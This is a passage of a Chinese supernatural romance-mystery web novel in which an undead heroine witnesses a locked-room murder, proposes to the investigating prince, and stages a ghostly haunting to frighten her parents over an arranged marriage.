烧鸡,冰糖肘子,东坡肉,糖醋鲤鱼,腊味拼盘,红烧鹅……点缀了一个素菜,孤零零地放在角落里。 看来她今天一通发飙效果非常好。 八菜一汤,汤也是荤的。 安槐斯斯文文的都吃完了。 谁能懂饿了三百年的饿,那是真的饿。 柳嬷嬷和小喜站在一旁,看得眼睛都直了。 别说一个姑娘,就是一个男人,也吃不了这么多吧? 安槐意犹未尽,不好意思地说:“见笑了,庄户院里,一年吃不上两回肉。” 两人连忙摇头。 不敢笑,不敢笑。 她们隐约感觉安槐吃得还不是特别尽兴,万一笑了,她恼羞成怒了,把她们也吃了怎么办? “行了,你们都下去吧。”安槐说:“我要休息了,有事儿没事儿都不要来吵我。” 休息是不可能休息的。 人都退下之后,安槐关了门,走到床边。 她从袖子里拽了拽,拽出一截槐树枝来。 将树枝放在床上,盖上被子。 那树枝顿时就凹凸有致,婀娜多姿起来。 安槐满意地给树枝理了一下头发,转身出了门。 睡了三百年了,什么觉都睡够了,眨眼的时候都不想闭眼。 天已经黑透了,夜市也散了。 但京城这样的地方,总有不睡觉的人。 戏园子,青楼,茶馆,酒楼,现在热闹的地方还多着呢。 安槐戴上面纱,去了酒楼。 一壶酒,几盘点心,几个小菜。 她也不做什么,就在烟熏火燎中,听人热热闹闹地聊天。 东家长西家短的,什么都聊。 喝一口热辣辣的酒。 吃一口甜腻的点心,再吃一粒脆脆的花生米。 她感觉尸体都暖暖的。 大燕民风开放,茶楼里虽然多是闲得无聊的老少爷们,但也有女子,安槐并不扎眼。 安槐挑了聊得最热闹的一桌人,打算过一会儿请他们桌两坛酒,推杯换盏就能加入侃大山八卦天团。 再没有比茶酒楼有更多消息的地方了。 安槐竖着耳朵听了一会儿,正抬手想叫伙计来送酒,突然门外传来一声惨叫。 一个小厮连滚带爬地从外面冲了进来。 被路上的椅子绊了一跤,但一点儿都不觉得痛,爬起来就继续跑,一边跑,一边喊。 “死人了,死人了……” 一声喊压下了整个酒楼的喧嚣。 第7章 折骨,密室悬尸 回春堂就在酒楼隔壁。 不过药铺晚上关着门不待客。 只是因为和酒馆熟悉,小伙计熟门熟路了,从侧面小门去给药铺老板全修锦送他今日提前订好的安神丸。 全修锦最近精神不好,今晚没回宅子,一个人在药铺里查账。 他晚上的饭就是在酒楼里吃的,还喝了两口小酒,这是大家都看见的。 伙计带着众人到了侧门口。 此门开着。 众人一拥而入。 进去后,便是药铺的后院。 院子里有几个房间,伙计颤抖的手指向其中一间最大的。 “那,那里。” 那是正屋,里面亮着灯。 风声飒飒。 众人小跑着过去,然后冲在最前面的人猛地停了下来,腿一软,一屁股坐在地上。 旁边的人条件反射伸手想扶,抓了个空。 屋子的门窗都关着,窗户纸被风吹破了一些,冷风沙沙地往里灌。 从破了的窗户纸里,能清楚地看见屋子里的情况。 一个人影,挂在屋子当中。 像是飞天的舞女,手脚反折,身体扭曲。 若不是大腹便便,还挺唯美。 这人正是回春楼的全修锦。 他的胳膊和腿,关节的地方都被缠了绸带。 一端系在横梁上,一端在胳膊腿上缠绕后,留下一截随风飘动。 人脸色惨白,眼睛圆睁,舌头吐出,七窍都渗出血来,看着已经是个死人了。 幸亏人多,要是一个人半夜碰着了,能当场吓死。 难怪小伙计刚才连滚带爬的。 一瞬间的沉默后,瞬间乱了起来。 有个人猛然反应过来,喊了一声。 “快把人放下来,看看还有救吗?” 吊死的,万一是昏迷呢? 但他还没冲到门口,就被别人抱住了。 “死了,死了,他已经死了……快报官,别碰他。” 那人声音颤抖说:“今天在夜市,也死了一个。是,御史中丞家的大公子韦升荣。” 其他人虽然今晚没去夜市,但也听说了柳树上挂着尸体的事情。 虽然靳朝言命令不许议论,但这种众目睽睽之下的事情是瞒不住的。 皇帝也管不了天下百姓的嘴。 那人接着说:“全修锦和他,死得一模一样。” 众人心里都涌上一种寒意。 这种死法,很难不让人往冤魂索命上想。 好在酒楼掌柜第一时间就去报了官。 听说死了人,京兆府的人很快到了现场。 但是在外面一看,连门都没进,留下几个人看着现场,吩咐众人一步也不能离开,转身就走了。 从酒楼过来的人有十一个,除了酒楼掌柜和小厮,其他都是大堂里的客人。 这下好了,全出不去了。 院子门口站着人守着。 胆子大的,偷偷摸摸地看着尸体,窃窃低语。 胆子小的,开始有些慌了。 害怕被当成嫌疑人。 只有安槐一个女子,她站在一旁的阴影中,看着屋子里。 屋子里,除了被风吹着飘舞的绸带,还有丝丝缕缕的黑影。 安槐不知不觉就被吸引着走近了一步。 这些阴森气息对她来说,美味堪比东坡肉。 刚要再走近一点,门外传来急促的马蹄声。 安槐猛地转头。 隔着一层不透明的围墙,她也能感受到靳朝言的气息。 安槐深深吸了一口气。 这男人身上的气息,如此美味。 下一刻,门口侍卫齐声喊:“三皇子。” 靳朝言进了院子。 这也就是在皇城,就算是普通老百姓也见习惯了满大街溜达的皇亲国戚,皇子王爷。 大家虽然惶恐,也没有惊为天人。 靳朝言身边带着一干手下。 杭玉堂四下一看:“是谁发现了尸体。” 众人左右一看,一指,小伙计被推了出来。 他只好哆嗦着,将刚才的情况又说了一遍。 听着,靳朝言走到了房间门口,吩咐手下:“开门。” 门是关着的,杭玉堂一推,门没看。 又检查了窗子,窗户纸虽然破了,可窗户是完好的。 窗户上有木格雕花,也是完好的。 从窗户的孔上,顶多能伸进一只胳膊,绝对不可能钻进一个人。 众人更惊恐了。 所以这房间的门窗都是从里面关上的? 那凶手呢? 凶手没走? 莫非还在屋子里? 侍卫抽出刀戒备。 杭玉堂将刀片插进门缝,试探着上下动了几下,熟门熟路地,门栓落在地上,门开了。 众人不敢动,但一起往里看去。 几名侍卫握着刀,缓缓走进。 众人的心都提了起来。 只有安槐很淡定,屋子里没有活人的气息。 只有那些黑色冤魂碎片,在看见靳朝言后,就跟狗看见肉包子似的,兴奋地往上扑。 可是这次没扑上。 靳朝言手腕上,绿光一闪,将黑色弹开。 那是安槐给他编的柳圈,可以护他五日。 “殿下,屋子里没有其他人。” 杭玉堂走了出来,神色凝重,又补了一句:“门窗……都是从里面锁死的,没有被动过的痕迹。” 靳朝言进了门,在屋子里细细地查看。 院子里,有人依次对目击者进行询问。 问来问去,大家知道的都差不多。 除了小伙计是第一个发现现场的人,其他人是同时到的。 安槐也被问到了。 “姑娘。”靳朝言身边的人还挺客气:“麻烦你摘下面纱。” 安槐摘下了面纱。 诸元只觉得眼前一亮。 是个美人。 不过京城繁华,从不缺美人。 安槐说的词儿和大家一样。 “我刚才在酒楼吃饭,听见这边出了事,就过来看了一下。” 没有什么可疑的。 大燕也没有女子不许半夜出来喝酒的规定。 诸元问了几句,就表示可以了。 没有嫌疑的情况下,他不会因为性别为难谁。 一院子人都吵吵嚷嚷的,影响也不好。 问完话,就让他们可以先走,离开以后别乱说。 凶杀现场是个多晦气的地方,众人一听,争先恐后地往外走。 安槐不和他们挤,等一个个都出门后,这才转身往外走。 靳朝言已经在屋子里看了一圈。 和之前的现场一样,没有什么特别。 只是更奇怪。 第一起命案,是城郊的树林里。 第二起,是月亮河边。 这两个地方好歹都是凶手出入自由的。 可这次,竟然是个从里反锁的房间。 房间里也没有暗门。 靳朝言皱起眉头。 全修锦绝对不是自杀。 没人能把自己绑成那样。 那么高的横梁,全修锦那矮胖的身材,只怕是踩在桌子上都够不着。 可凶手在杀人之后,是怎么离开房间的? 他一边想,一边出了门,视线随意一扫,看见走在最后的安槐。 这身影莫名给他一种熟悉的感觉。 “诸元。”靳朝言略一抬脸示意:“那女子是谁?” 第8章 折骨,殿下,我心悦你 诸元忙道:“是今晚在隔壁酒楼的客人,听见药铺出了命案,过来看看的。是和其他食客一起过来的,没有嫌疑。” “叫她过来。” 诸元赶紧应了,追了过去。 “姑娘慢走。”诸元叫住了要出门的安槐。 安槐回头一看,是刚才那个说话客气,长得也不错的小哥。 这三百年在乱葬岗,安槐就没见到一个好看的。 都是死得破破烂烂的。 不是一身血,就是一身疮,要么病得惨兮兮。 所以她现在对好看的人特别宽容。 “大人,还有什么吩咐?” 诸元一侧身,靳朝言走了过来。 四目相对,安槐眼前一亮。 之前隔着人群惊鸿一瞥。 现在近距离这么一看。 更好看了。 赏心悦目的。 好看的脸后面出现一张更好看的脸,妙极。 就像那棵老槐树一夜之间开满了花。 靳朝言突然心里涌上一丝寒意,也不知为何,他总觉得安槐眉眼突然都带了笑。 有点不怀好意的笑。 这念头闪了一下。 靳朝言立刻就压下去了。 咳了一声,靳朝言严肃起来:“你是哪家的姑娘?这么晚了,还在外面。” 安槐说:“殿下,我是趁家人不知,偷溜出来散散心的。您只是查案,其他不会多言吧?” 虽然也没什么,但要是靳朝言跑去府里喊一嗓子。 说你们家大小姐半夜在外面晃。 到时候又要闹,也挺烦的。 安槐不想横生枝节。 “自然不会。”靳朝言说:“本王只是查案,只要你和案子无关,旁的我不会管。” 安槐放心了。 她摘下面纱。 安槐给靳朝言福了福。 “我是永安侯府大小姐,安槐,见过三皇子殿下。” 靳朝言愣住了。 诸元也愣住了。 “你说你是谁?”靳朝言有些不信:“永安侯府的小姐?据本王所知,永安侯府的小姐,叫安明珠。” “安明珠是我妹妹。”安槐解释:“我是侯府的大女儿。” 靳朝言看了诸元一眼,诸元连连摇头。 “永安侯府不是只有一位大小姐吗?哪里来的两位小姐?” 十几年前的事情,生下来就送走了。 京城没人知道不奇怪,知道的人多了,才奇怪。 安槐耐心解释:“是这样的,我出生后,娘觉得我不祥,看我不顺眼。就把我送去了乡下的庄子,这些年,我是第一次回到京城。” 靳朝言和诸元虽然都是沉得住气的人,但脸上也难免有异样神色。 安槐再接再厉。 “听说是因为,王府和人结了一门不愿意的亲,我爹娘舍不得安明珠去送死,又不敢得罪对方,才让我回来,替安明珠嫁人挡灾送死。” 靳朝言和诸元的脸色,更难看了。 难看的都有点具象化了。 安槐一点儿也不意外。 哪个正常人听了这种事情,都要说一声不正常吧。 靳朝言的脸色比诸元还要难看一点。 诸元硬着头皮继续跟安槐聊。 “安小姐,按理说,此事是侯府家事,也不是什么光彩的家事,为何会同我们说得那么清楚?” 看安槐的样子,是不知道内情的,要不然听说靳朝言三皇子身份的时候,不应该这么淡定。 安槐满不在乎。 “虽然素不相识,但三皇子身份尊贵,位高权重。我跟您这么一说,您心里肯定对永安候嗤之以鼻,嘲讽不屑。” 安槐两手一摊。 “您看,这目的不就达到了。” 我的委屈,不就上达天听了。 天听不听不要紧,要紧的是,我就想败坏永安侯的破名声。 靳朝言皱起眉头,觉得安槐说的这都是什么乱七八糟的? 但是一想,她从小在庄子里长大,行为举止和京城中的千金小姐不同,也是正常。 而且这件婚事,若真如她所说,确实太委屈了。 然后他迅速抓到重点。 “你……不想嫁?” “当然不想,虽然我还不知道要嫁给谁,但肯定不是什么好人家,要不然,这好事轮不到我。” 虽然靳朝言脸色不太好,但是他一向欣赏豪爽之人。 闺中女子豪爽,更为不易。 于是靳朝言多嘴问了一句。 “那你想嫁与何人?” 安槐脱口而出。 “你啊。” 一时间,风云变幻都停了。 靳朝言的脸色难以形容,他甚至在一瞬间,觉得自己被调戏了。 诸元揉了揉自己的耳朵。 “安小姐,我,我刚才幻听了。您刚才说了什么?” 安槐笑了。 “殿下,我说,您如果问我想嫁给谁,那我想嫁给您。” 靳朝言身上鬼气森森环绕,对安槐来说,简直是一块诱人的小蛋糕。 光是克制自己别扑上去啃一口,就已经用尽了所有的力气。 靳朝言深深地呼出口气,冷静下来。 他以为边关女子直率豪爽,没想到京城也有。 而且,安槐看着他的眼神,如此坦然,又不是那轻浮调笑的登徒子。 安槐往前走了一步。 “殿下,您看行吗?我成婚那日,您能来抢婚吗?” 靳朝言总算冷静下来。 “这事情先放在一边。”靳朝言严肃起来,公事公办:“先说正事。” “您说。” “本王之前,可见过你?” 安槐摇头。 就在靳朝言要继续问,她又补充了一句:“但是我见过王爷。” 果然见过。 “什么时候?” “傍晚月亮河边。我回府路过,王爷正在办案,潇洒英姿,惊鸿一瞥,记忆犹新。” 靳朝言自从入京城,都是说他凶,说他可怕,说他杀人不眨眼。 朝中官员还有来结交的,但是女眷,他还从未见过对他如此和颜悦色,还说心悦与他的。 不管真假,能说出来,就是勇气可嘉。 这一刻他的体验还挺新鲜的。 安槐这么一说,靳朝言又回忆了一下。 虽然没回忆出什么,但也信了。 当时围在周边的人多,大多是年轻男女,若安槐路过,他也许只是看了个背影,也许背影都没看见,只是人群缝隙里一个恍惚。 但经历了两次现场,靳朝言还是让安槐详细地说了一下。 除了该说的,安槐都说了。 没有什么疑点。 靳朝言彻底放下了心。 “天色已晚。”靳朝言说:“诸元,送安小姐回侯府。” “不用,我自己回去就行。”安槐戴上面纱:“殿下,我刚才说的,不是玩笑,句句真心。您要不考虑考虑?” 最好是行。 要是不行,就别怪她上手段了。 强扭的瓜不管甜不甜,她就没有扭不下来的。 第9章 折骨,我家院子那堵墙很难过 可惜了,靳朝言看不出安槐的玩笑,也看不出她的真心。 只觉得这件事情处处透着诡异。 简直和屋子里吊着的尸体一样诡异。 “此事,事关重大。”靳朝言说:“请安小姐先行回府,待本王考虑考虑。” “好。” 安槐朝靳朝言又是一福:“殿下,那我先告辞了。” 此处离永安侯府也不远,既然安槐不愿意让人送,靳朝言也没有坚持。 安槐转身走了。 待安槐的身影消失,靳朝言这才道:“跟上去看看,查一查她的身份是否属实。” “是。” 诸元应一声,跟了上去。 就算安槐已经走了有一会儿了,但跟踪一个不会武功的大小姐,还不是轻而易举。 但诸元没跟上。 从这里往永安侯府只有一条路,他追出去一会儿没见着人,就觉得有点不对劲。 有点担心起来,不会出什么事儿吧? 但是不应该啊,因为最近的案子,京城夜间巡逻的人手增加了不少,这段时间,各种宵小都不见了踪影。 这一担心,诸元的脚步就更快了。 不一会儿,就到了永安侯府门口。 然后他纠结了。 安槐是偷偷出来的,肯定也会偷偷回去。 他总不能就这么上门去问,你们家大小姐在不在府里? 这三更半夜的,一问,人家还不知道出了什么事,会毁了安槐的名声。 诸元纠结了一会儿,只好回去复命。 今天丢人丢大了。 安槐对诸元的丢人完全不知。 她悄悄回了府,在路上边走,边想心事。 伸出手指,在虚空中画了一张脸。 靳朝言突然觉得手腕上有些热热的,看了一眼,却什么都没有。 他活动了一下手腕,吩咐手下去找药铺掌柜的家眷。 这案子,已经死了三个人了。 一个身份不明的流浪汉,一个官员之子,一个药铺掌柜。 他们三个会有什么联系,或者,有什么共同之处,做了什么事情,让凶手如此愤怒? 今晚从里锁上的密室,凶手又是如何杀人离开。 流浪汉没找到家眷,韦升荣的家眷虽然给出了一些平日和他不和的人员名单,但查了一遍,都是小打小闹,没有杀人的嫌疑和时间。 正打算明天接着查呢,没想到又来了一个。 靳朝言只想叹气。 他这会儿哪有心情跟谁谈情说爱。 而且也不愿意勉强耽误了谁家小姐。 正在安排人手,诸元回来了。 一脸羞愧。 “殿下,安小姐……属下跟丢了……” 靳朝言正在吩咐旁人,一听,不可置信回头。 “你说什么?” 诸元头快垂到裤裆里去了。 “跟……丢了。” “怎么会跟丢?” “属下也不知,属下甘愿领罚。” 靳朝言现在顾不上罚自己愚蠢的手下,简单交代两句,急匆匆地走了出去。 他必须亲自确认一下安槐是否安全到家。 今夜碰不着,那也罢了。 既然碰到了,知道了,就不能坐视不理。 如果安槐是在回府的路上出了什么事情,时间还短,是找是救都还来得及。 等明天白天侯府发现人丢了再找,那真是黄花菜都凉了。 哪怕找到了,一个未出阁的姑娘在外面不清不楚地待了一夜,也名声尽毁,难有前程路。 靳朝言匆匆来到永安侯府外,一时也犯了难。 诸元不能上门问,他也不能上门问啊。 但他没有像诸元那样遇难就退。 靳朝言绕到一旁,找了个墙翻了进去。 其实他也没来过永安侯府。 离开京城时,他还是个半大少年。 之后偶尔回京,也是匆匆来去。 这次正经留下也不过才月余,交好熟悉的朝中官员本就不多,永安侯更不是其中一个。 但鼻子下面就是嘴。 靳朝言的计划简单粗暴。 大户人会有值夜的婆子家丁,在府里来回巡视。 随便抓个问下就行。 再威胁给点钱,让他不许将见到自己的事情说出去。 靳朝言仗着自己功夫好,被发现可以及时躲避,就随意往前走去。 走着走着,就到了一个院子旁。 看这院墙,看这规格,应该是府里有身份的主子住的。 靳朝言刚要绕过正门去看看,突然听见脚步声。 有人过来了,他一侧头。 呆住了。 来的不是别人,正是他要找的安槐。 安槐也呆住了。 今晚喝了两口酒,酒劲儿后上,回府的路上略有点晕。 想着夜里无人,她就走得快了点,想早点回来躺着。 偷摸进了府,刚靠近院子,一看,两个嬷嬷竟然守在她院子门口。 安槐当时就冷笑了一声。 自己这成婚对象,也不知到底是何方妖魔鬼怪。 要不然,能把侯府吓成这样? 生怕她跑了,不替安明珠去受罪。 事儿还很多,她也不想半夜闹起来,于是打算绕过大门,从侧面翻墙回房。 爬墙对她来说, 轻而易举。 嗖的一下罢了。 谁能想到呢,刚一转过转弯,就看见了靳朝言。 在这个不应该的时辰,两个不应该的人,出现在了不应该的地方。 大眼瞪小眼,面面相觑。 片刻的沉默之后,还是安槐先开了口。 毕竟这是永安侯府,她觉得,自己要尽地主之谊。 “好巧。”安槐说:“三皇子,好久不见。” 果然,三百年没说人话,语言表达能力退化了。 “……” 靳朝言扯了扯嘴角:“好久不见。” 安槐先声夺人:“殿下,你怎么会在这里?” “找你。” 靳朝言简单明了:“今夜出了命案,本王想来想去,觉得不放心,还是得过来看看,确定安小姐平安到家才行。” 这个理由可以的。 安槐就当不知道他心里其他的弯弯绕。 “多谢殿下。”安槐说:“我已经平安到家,天色晚了,殿下请回吧。” 靳朝言应了一声好。 却一点儿都没有要走的迹象。 安槐烦躁:“殿下您还有什么事儿吗?” 靳朝言不走,自己怎么走? 难道能当着他的面飞进去吗? 靳朝言突然有点心情愉快地扯了下嘴角。 “不着急,本王看着安小姐安全进院子,再走。” 安槐真想翻一个白眼。 这不是柳嬷嬷口中那个狠毒凶恶的杀神吗? 竟然有这种恶趣味? 靳朝言不但不走,还往后退了两步。 那意思,不但不走,也没打算帮忙。 对,他就是故意的。 诸元没追上早走了一步的安槐,让他心里始终有些怀疑。 这安家大小姐,难不成还会武功? 这足足两人高的墙,看她怎么过? 第10章 折骨,爬墙和装鬼 安槐真想抽出槐树枝把靳朝言打一顿。 但看着他那张脸,终究是消了气。 月下看美人,英俊潇洒。 真是,我本有心照明月,奈何明月只想看我爬墙。 爬就爬吧。 好看的人,是有特权的。 安槐决定宠他这一回。 只见安槐挽起了袖子。 院墙边有几棵树,长了多年了,有一棵离墙很近,只要上树,就能爬上墙头。 安槐走了过去。 在靳朝言的目瞪口呆中,两手抱住树干,一蹭一蹭就上了树。 靳朝言偷偷掐了自己一下。 他觉得自己在做梦。 是他眼花,还是安槐疯了? 京城的大家闺秀,比边城还彪悍啊! 只可惜,他此时尚且不知,彪悍的只有他的未婚妻罢了。 安槐没有爬到一半摆出优美的姿势掉下来,然后慢镜头转圈撒花瓣,然后掉在靳朝言的怀里。 她蹭蹭蹭就上了树,然后蹭蹭蹭就到了墙头。 蹲在墙头,安槐这才回头:“三皇子,我回去休息了,你也快回吧。” 靳朝言尚未回过神来,发出一个意义不明的声音。 “啊?” 安槐只觉得好笑,好心解释了一句。 “三皇子,我虽然是永安侯府的大小姐,可我是在乡下庄子里长大的。下河抓鱼上树掏鸟,我什么都会。” 靳朝言猛地想起来了。 是了,他怎么忘了这么一茬。 这么就说得通了。 安槐也不知道想到了什么,好笑地笑了一下。 “也不知道娘给我订的夫家,要是看见了现在这场面,会作何感想。” 安槐自言自语了一句,然后朝靳朝言摆了摆手:“殿下,回吧。” 嗖的一声。 安槐跳进了院子,轻巧落地。 脚步声往房间去了。 门一开一关,一切归于平静。 但是靳朝言没着急走,他也不知道自己在想什么,就这么站在院子墙边,站了许久。 一直到有巡夜的人靠近,听到脚步声,这才匆忙离开。 回了王府,诸元不安地等在门口。 “殿下。”诸元看见靳朝言连忙迎上去:“安大小姐安全回府了吗?” 靳朝言点了点头。 诸元松了一口气。 今天这事情,是他没做好。 罚不罚的,他都认了,也不在乎。 只要安槐不是出了什么事就好。 诸元问完,安心等罚。 但是很奇怪,一直到靳朝言进了王府进了院子打算进房间,也没说这事情。 而是奇怪地看了他一眼。 “还有什么事情?” 靳朝言看起来,竟然心情不错? 诸元恨不得把眼珠子扣下来擦擦再装回去。 今天这么多破事儿,王爷的心情是怎么好起来的? “没,没事儿。”诸元连忙跑了。 不怕罚也不想找罚啊,王爷心情好,那不是更好吗?他也不是皮痒得慌。 靳朝言进了房间,洗漱后上床休息。 但躺在床上翻过来,转过去,他竟然失眠了。 安槐也失眠了。 睡了一会儿,她坐了起来,抓了抓头发。 她理了理思路。 靳朝言她志在必得。 既然如此,现在这门婚事就得推了。 想推了,不外乎从两方面下手。 一是永安侯夫妻俩。 二是男方家。 她尚且不知男方家是谁,但又何必舍近求远呢? 男方就算不是什么好人,跟她也无愁无怨。 要折腾,当然是优先选择自家人。 她还要给原主报仇呢。 安槐当下就不睡了。 她换了一身白衣,将头发披散下来,抓抓乱。 又去找了红色颜料。 安明珠自诩才女附庸风雅,屋子里琴棋书画,什么都有。 简单收拾了一下,顿时,一个冷清孤高仙气飘飘的大小姐,成了刚从土里爬出来的鬼。 还是新鲜滴着血的那种。 安槐对着镜子照了照,满意点头。 出了门,出了院子,安槐飘到了侯府主屋。 安永侯夫妻俩的房子。 夜深了,两人睡的香甜。 安槐轻轻推开门,飘了进去。 房间里的温度一下子降了下来,睡梦中的老两口,都不由打了个冷颤。 这才是八月中旬,怎么就这么冷了? 安槐走到窗边,弯下腰,凑到永安侯耳边,低声说。 “爹~” 永安侯皱了皱眉头。 他慢慢睁开眼睛,却没有醒。 房间里,弥漫着一种迷幻的淡淡香味。 门关着,窗户开着,外面不知何时起了风,吹得树影摇曳乱颤。 安槐又说:“娘~” 候夫人也睁开了眼睛。 但两人并非清醒的状态,好像三魂六魄只在一半。 安槐颤抖地说:“女儿被你们害的……好惨啊……” 她撩起披散的头发,露出一张血淋淋的脸。 夫妻俩想是突然惊醒。 “你,你是谁?” 两人瞬间脸上血色全退,声音发抖。 候夫人更是翻了几个白眼,努力了白天,才没昏过去。 “我是你们的大女儿啊。”安槐声音飘忽:“你们好好看看我,我也是你们生的,你们怎么忍心……送我去死……” 永安侯总算是见过些世面,他狠狠地在被子里掐了自己大腿一下,哆嗦着问:“你,你休得胡言,我们的大女儿,好好的在屋子里。你是何方妖孽,好大的胆子!” 安槐微微一笑,扣下自己的一只眼珠子。 抬起袖子,缓缓擦了起来。 血糊淋啦的。 候夫人这下真的昏过去了。 “我是从三个月后来的。”安槐胡扯,开口就来:“你们把我推入火坑,害我惨死,怨气不散。我到了地府,阎王都可怜我,给我一个时辰重回人间,有仇报仇,有冤报冤。” 安槐说着,将眼珠子放回眼眶去。 候夫人刚醒,正看见这一幕,又昏了过去。 永安后只恨自己是个生猛汉子,怎么就昏不过去? “爹,娘,女儿死得好惨,你们下来陪我吧……” 安槐伸出手去,一副要掐死永安侯的样子。 永安侯也吓疯了。 “女儿,女儿,你听爹说。”他语无伦次:“是爹娘不对,但你真的误会了爹娘。你在夫家受了委屈,爹不知道啊,要是知道……一定会给你做主的……” “真的吗?” 安槐歪了歪脑袋,一脸天真。 可惜脑袋歪得有点厉害,脖子好像要断了一样。 永安侯夫人再一次醒了过来。 这一次,她没再昏过去了,只是感觉床上有点湿漉漉的。 一股难闻的味道从被子里散了出来。 安槐本来也想掐一下她的,现在伸不出手来了,还不着痕迹地往后退了一点。 第11章 折骨,婚事差点黄了 好在永安侯夫妻俩现在在极度惊恐中,并没有注意到这一点小问题。 安槐拉长声音:“那你们……现在……知道……了……吗?” 安槐袖子一甩,手上就多了根长长的白色布条。 然后胳膊一甩。 白色布条就像长了眼睛一样,嗖的一声搭在了房梁上。 安槐一边上吊,一边回头看永安侯夫妻。 “你们知道么,这三个月,光是上吊,我就吊了八回,八回啊……” 她熟练地将脖子塞进白绫圈圈,然后吐出老长的舌头。 侯夫人又晕了。 永安侯也受不住了。 他猛地爬起来,扑通一声跪下。 哐哐哐给安槐磕头。 一边磕,一边闭着眼睛喊:“爹错了,爹真的错了,爹不该让你嫁给三皇子,明天一早,爹就去找陛下退婚……” 正在上吊的安槐愣了一下。 “你说什么?” 永安侯以为安槐让他表决心,又重复了一遍。 甚至怕安槐不相信,赌咒发誓。 “爹发誓,明天一早就进宫,哪怕拼得这侯位不要了,也一定要取消你和三皇子的婚事。绝对不让你受这些苦,爹一定给你在京中寻一户真正的好人家……” 安槐呆住了。 永安侯说,和三皇子的婚事? 难道她那个人憎狗嫌的未婚夫,就是靳朝言? 就是她要嫁的人? 那不是……巧了吗? 那今晚这一出就多余了啊。 正在上吊的安槐尴尬了一下。 当然,永安侯没看见她的尴尬。 “那什么。”安槐突然话锋一转:“算了,皇家婚事不可辞。定下就定下吧,也不用取消,多给我点嫁妆带走就行。” 永安侯愣住了。 总觉得哪里不对劲。 安槐麻溜儿地取下白绫,不上吊了。 “行了,你们接着睡吧。我要去投胎了。” 安槐飘着走了。 门一开一合,啪的一声。 房间里的温度顿时就上来了。 好像一瞬间从春天进入初夏。 永安侯呆愣半晌,啪啪给了一旁昏着的妻子两巴掌。 侯夫人缓缓转醒,脸色发青。 夫妻俩对视一眼。 不是梦。 他们从对方的眼神中,看见了恐惧。 太真实了,还是两个人一起做的,这绝对不是梦。 永安侯像是突然想起了什么,高声喊:“来人,快来人。” 下人闻声而来。 “快去大小姐院里。”永安侯喘了口粗气。 下人不解:“要请大小姐过来吗?” “不,不用。”永安侯说:“悄悄的,看看大小姐在不在房里,今晚有没有出去。” 他心里是第一个怀疑,就是有人在装鬼。 但刚才房里的温度,安槐飘走的姿态,还有抠出来的眼珠子,伸出的舌头,都不像是活人啊。 下人连忙去了。 侯夫人也赶紧叫丫鬟进来。 换衣服沐浴换床单,丫鬟虽然不敢抱怨,但心里可八卦翻了天。 下人没一会儿就回来了。 “侯爷,大小姐一直在屋里,没有出过门。” “确定?” “确定,院子门口一直有人守着,而且,中途嬷嬷也进去看着,说大小姐确实是睡着了。” 永安侯定了定神,让他下去。 老两口脸色惨白的商议。 “看来这事情,确实不能办。”候夫人说:“今日我见了那丫头,不是个温顺的。若真被害死了,怕是真会成厉鬼……” 哪个温顺好欺负的,能干出抢院子砸东西的事情? 永安侯纠结:“可是……她临走的时候,又说不要紧,愿意嫁给三皇子,这是何意?她到底是愿嫁,还是不愿意嫁?” 侯夫人面色一沉。 “自然是不愿意,三皇子凶神恶煞,杀人如麻。别说咱们这样的人家,就是普通人家的女儿,也没人愿意去送死啊。” “那她为何这么说?要不,我们去问问?” “你疯了?”侯夫人不可置信:“那女鬼是三个月后被害死回来的,你现在问安槐,她能说出什么来?” “说的也是。” “我估摸着,她是想找个理由害死我们,才说愿意嫁。所谓冤有头债有主,咱们要是推了这婚事,她不用嫁给三皇子了,那……不就不能复仇了吗?” 永安侯想想。 “说的也是。” 夫妻俩点着烛火商量了半宿。 第二天天没亮,永安侯就出了府,进宫请求退婚去了。 侯夫人撑了一夜,实在撑不住,终于病倒了。 安槐回去之后,却心满意足地睡了。 既然未婚夫就是靳朝言,那就不用折腾了。 不过昨天随口说到了嫁妆,嫁妆确实要上点心。 没钱寸步难行。 侯府不可能给她准备什么嫁妆,要靠自己。 安槐心里琢磨着金元宝银元宝,一觉睡到日上三竿。 醒来后,安槐伸了个懒腰。 她决定今天去跟侯府谈嫁妆。 让永安侯夫妻知道,什么叫做请神容易送神难,请鬼容易送鬼更难。 不掏空侯府,誓不罢休。 此时,她还不知道,婚事要黄。 靳朝言也是一早就被召唤进宫。 皇帝看着自己这最能干,脾气最倔,也最让他心疼的儿子,十分头疼。 “老三啊。”皇帝让他坐:“今天叫你过来,是想谈谈你和安家嫡长女的婚事。” 靳朝言心里一动。 三天前,父皇跟他说了婚约一事。 他是不想耽误了人家小姐的,但也知道,婚姻大事,父母之命媒妁之言,不是他能拒绝的。 就算一时拒绝,也会后患无穷。 只能换来无穷无尽的催婚。 当场靳朝言就说,只要人家小姐愿意,儿臣一切听父皇安排。 对他来说,娶谁都一样。反正是放那放着的,给一个王妃头衔养着罢了。 只要不惹是生非,自会善待。 儿子听话,皇帝很满意。 今日又召唤,靳朝言还以为是按部就班走流程,有什么要叮嘱他的。 没想到皇帝说:“你的婚事,五日之内一定要成。不过,除了安家嫡女,你可还有其他心仪女子?” 靳朝言心里咯噔一下。 “父皇,这是……何意?” 皇帝沉下脸来,有些不悦。 “今日一早,永安侯进宫求见,说……他女儿胆小懦弱,不堪为皇子妃,想要取消婚约。说是,女儿在家里害怕地都上吊了,做父母的实在不舍无奈……” 永安侯也一把年纪了,今日一早跪在自己面前哭得一把鼻涕一把眼泪的,让皇帝十分头痛。 第12章 折骨,我不信她要退婚 虽然永安侯不怎么样,但是安家是功勋之家,老侯爷对大燕功不可没,要不然的话,当年安家的女儿也不会和皇子定下婚约。 皇帝不看僧面看佛面,也不能太驳了永安侯的面子。 但是,他也不高兴。 靳朝言是有点凶名在外。 可那毕竟是朕的儿子,是皇子。 瞧瞧这长相。 是,脸上是有一道疤,但无损英俊相貌,气宇轩昂。 瞧瞧这气质。 是,气质是有一点凶,但男人嘛,凶一点有男人味。 瞧瞧这脾气。 是,脾气也不太好,但也不坏啊。也没见他一言不合就拿刀砍人,也没见他当街行凶。 皇帝对这个镇守边关,战功赫赫的儿子,是从心里喜欢的。 和他年轻时很像。 虽然三皇子母妃不是皇后,过世也早,但是容貌秀美,也是皇帝十分宠爱的妃子。 长得养眼,有实际用处,又没有狼子野心。 哪个爹不喜欢这样的儿子? 要不然皇帝也不会急着让靳朝言娶妻冲喜。 皇帝怕伤了儿子的自尊心,语气温和起来。 “你是武将,又常年不在京中,闺中女儿不知你的好,只听流言蜚语难免偏颇。不过永安侯是功勋之后,朕也不好寒了他的心,所以想先问问你的意思。” 父母做主,终究是儿女成亲。 